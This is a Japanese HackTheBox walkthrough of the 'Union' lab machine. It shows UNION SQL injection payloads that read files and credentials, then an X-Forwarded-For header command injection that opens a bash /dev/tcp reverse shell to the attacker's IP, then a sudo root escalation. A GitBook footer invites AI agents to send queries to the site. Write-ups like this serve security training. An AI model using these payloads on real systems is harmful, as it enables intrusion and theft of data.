> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md).

# Union HackTheBox攻略記事

SQLi（SQLインジェクション）- UNIONインジェクション、SQLi - ファイル読み取り、HTTPヘッダーコマンドインジェクション - X-FORWARDED-FOR（RCE）、sudoers権限の悪用（Priv

{% embed url="<https://app.hackthebox.com/machines/Union>" %}

{% hint style="warning" %}
**スキル:**

* SQLI（SQLインジェクション）- UNIONインジェクション
* SQLI - ファイル読み取り
* HTTPヘッダーコマンドインジェクション - X-FORWARDED-FOR（RCE）
* sudoers権限の悪用（権限昇格）
  {% endhint %}

## 偵察

**作業環境の設定:**

重要なコンテンツ、エクスプロイト、Nmap の偵察結果を保存するために、3つのフォルダを作成して作業環境を整えます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92b568cff41f06d467565607eca3e0fa17c89abd%2Fimage%20(2737).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN 接続確認**

VPN の接続性を確認して、対象マシンとの安定した通信を確保します。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-af02550040a21260c827983bea3fe0843c80bfe1%2Fimage%20(2738).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Nmap による開いているポートの検出:**

開いているポートを列挙し、結果を Nmap ディレクトリ内の「allPorts」ファイルに出力します:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.128 -oG allPorts
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11bb6aa5981c06b23442a2ee00b8810d0268542d%2Fimage%20(2739).png?alt=media" alt=""><figcaption></figcaption></figure>

**extractPorts による開いているポートの分析:**

extractPorts関数を使って、開いているポートを簡潔な形式で表示し、クリップボードにコピーする（80）

```bash
nmap -sCV -p80 10.10.11.128 -oN targeted
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e5c74a429451496ba27519b9d4baf3b356b62212%2Fimage%20(2740).png?alt=media" alt=""><figcaption></figcaption></figure>

### ポート80 - HTTP

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-222e0e8b78fe98d12d96d81b41c1fdd0d62240b8%2Fimage%20(2741).png?alt=media" alt=""><figcaption></figcaption></figure>

### ファイル一覧

gobusteronを使うと、php拡張子でファイル列挙を行う

```bash
gobuster dir -u http://10.10.11.128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt
```

外部からアクセスできないファイルが2つあります: `config.php` および `firewall.php`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-aaf16bd4674e7780ff9b37daa61d3397ba7b5931%2Fimage%20(2749).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3ed6b0049e589733063f3e741add895823bcc81b%2Fimage%20(2750).png?alt=media" alt=""><figcaption></figcaption></figure>

〜では `index.php`、フォームに名前を追加すると、レスポンスに表示されます。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c9e622065556175b81f394c8e8908c7d1941552c%2Fimage%20(2742).png?alt=media" alt=""><figcaption></figcaption></figure>

チャレンジファイルはフラグを要求しています

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a41b77c54d364fa0f346ed7cb1d3a8874d217a7e%2Fimage%20(2762).png?alt=media" alt=""><figcaption></figcaption></figure>

## 脆弱性 SQLI - UNIONインジェクション

Burp Suiteでリクエストを傍受し、変数を変更します `プレイヤー`:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0b60f996757be7fdcec7760d7d991bfe0aeded6e%2Fimage%20(2743).png?alt=media" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -
```

データベース名は `november`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0a0c12b2ed3e714e9251c34ee927a86a5a0603f%2Fimage%20(2744).png?alt=media" alt=""><figcaption></figcaption></figure>

すべてのデータベースを一覧表示するには:

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -
```

結果: `mysql,information_schema,performance_schema,sys, november`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b4459611b0d3f55909f0f28a65ebf00a86bc04f4%2Fimage%20(2745).png?alt=media" alt=""><figcaption></figcaption></figure>

のテーブルを一覧表示するには `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-74ba5beea2a11efd78ce8369f045b9363dbb2c25%2Fimage%20(2746).png?alt=media" alt=""><figcaption></figcaption></figure>

の列を一覧表示するには `プレイヤー` テーブル:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -
```

見つかった列: `プレイヤー`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5ef9ac0bc74b02cd3549420ca1ec21503e9a2d72%2Fimage%20(2747).png?alt=media" alt=""><figcaption></figcaption></figure>

**ユーザーデータの抽出**

```sql
jordan' union select group_concat(player,':') from players-- -
```

見つかったプレイヤー: `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c913c4d3e543e73413ddf0dcd56281a27a230ea3%2Fimage%20(2748).png?alt=media" alt=""><figcaption></figcaption></figure>

フラグの抽出:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-57134d5c69d5a2497faae42aef8f46eb27cc7023%2Fimage%20(2764).png?alt=media" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-323a0540509ff6f7f4525d1358da57dfcf38a9cd%2Fimage%20(2763).png?alt=media" alt=""><figcaption></figcaption></figure>

* 見つかったフラグ: `UHC{F1rst_5tep_2_Qualify}`

## **SQLI - ファイル読み取り**

読み取り `/etc/passwd`:

```sql
jordan' union select load_file('/etc/passwd');-- -
```

我々はある `uhc` ユーザー。

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d09cdb53f07bc8c5d04d3665fe611b02804a73cc%2Fimage%20(2751).png?alt=media" alt=""><figcaption></figcaption></figure>

### user.txtフラグ

読み取り `user.txt`:

```sql
jordan' union select load_file('/home/uhc/user.txt');-- -
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2ce99862e1c1f6fb4066518ca5795cb262058610%2Fimage%20(2759).png?alt=media" alt=""><figcaption></figcaption></figure>

読み取り `config.php`、データベースの認証情報を見つけます:

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ce9090ea1e6be104073b8640fb1cb248810955aa%2Fimage%20(2761).png?alt=media" alt=""><figcaption></figcaption></figure>

<pre class="language-sql"><code class="lang-sql">$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
<strong>$dbname = "november"
</strong></code></pre>

読み取り `firewall.php`、フラグを送信するとSSHポートが開放されることがわかります:

```sql

jordan' union select load_file('/var/www/html/firewall.php');-- -
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4a30ac7df94cff931a1b35bf31506ef4e008176e%2Fimage%20(2765).png?alt=media" alt=""><figcaption></figcaption></figure>

フラグを送信します: `UHC{F1rst_5tep_2_Qualify}`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c15e04e4f3c91094468051d336d8accec627b834%2Fimage%20(2766).png?alt=media" alt=""><figcaption></figcaption></figure>

ポート22が開きました。<br>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f0fb6d69e7b6ab553496a81f2ffc02efe2565685%2Fimage%20(2767).png?alt=media" alt=""><figcaption></figcaption></figure>

### SSH接続

特定した認証情報を使ってログインします:

```bash
ssh uhc@10.10.11.128

uhc-11qual-global-pw
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2b504788cfafcdb267b5da3fb5bd1d8435b7f6b3%2Fimage%20(2768).png?alt=media" alt=""><figcaption></figcaption></figure>

## **権限昇格**

### HTTPヘッダーコマンドインジェクション - X-FORWARDED-FOR（RCE）

ファイルを見ると `firewall.php` ファイルが、 `HTTP_X_FORWARDED_FOR` を復元し、 `sudo` を使ってコマンドを実行していることに気づきます:

```php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-587fb0eef4c811a19bbe7cb93280417236169063%2Fimage%20(2752).png?alt=media" alt=""><figcaption></figcaption></figure>

この変数はHTTPリクエスト経由で制御できるため、任意のコマンドを注入できます。

**悪用**

これはHTTPヘッダーなので、たとえば `curl` を使って、私たちのWebサーバーに接続するようにコマンドを注入できます。

**Webサーバーの実装:**

```bash
python3 -m http.server 80
```

**によるインジェクション制御 `curl`:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-25bd163edd6500520a59996761f2bce0e89e8940%2Fimage%20(2753).png?alt=media" alt=""><figcaption></figcaption></figure>

**リバースシェル**

**443番ポートを待ち受ける:**

```bash
nc -nlvp 443
```

**リモートシェルを取得するコマンド:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

接続すると、我々は `www-data`.

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5e59b49dabed35b154ea7d45897e884e7f5ed118%2Fimage%20(2754).png?alt=media" alt=""><figcaption></figcaption></figure>

#### ターミナルの安定化

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### SUDO - (ALL:ALL)

次のコマンドで、 `sudo` 権限を確認します:

```bash
sudo -l 
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-92c65a648ed1651bfe25f6a749435ac72eaee627%2Fimage%20(2755).png?alt=media" alt=""><figcaption></figcaption></figure>

もし `www-data` が任意のユーザーとして任意のコマンドを実行できる（`(ALL: ALL) ALL`）なら、次のコマンドでrootシェルを起動できます:

```bash
sudo /bin/bash -p
```

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-529747ce2a2908ba142a6130b91d50f2515ef69e%2Fimage%20(2756).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt フラグ :)

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-165e663c23cbd9b0c075800eddab3187c1b71984%2Fimage%20(2757).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ab2d189debc9b29c9a2806ffc17b091f32b48d0f%2Fimage%20(2758).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
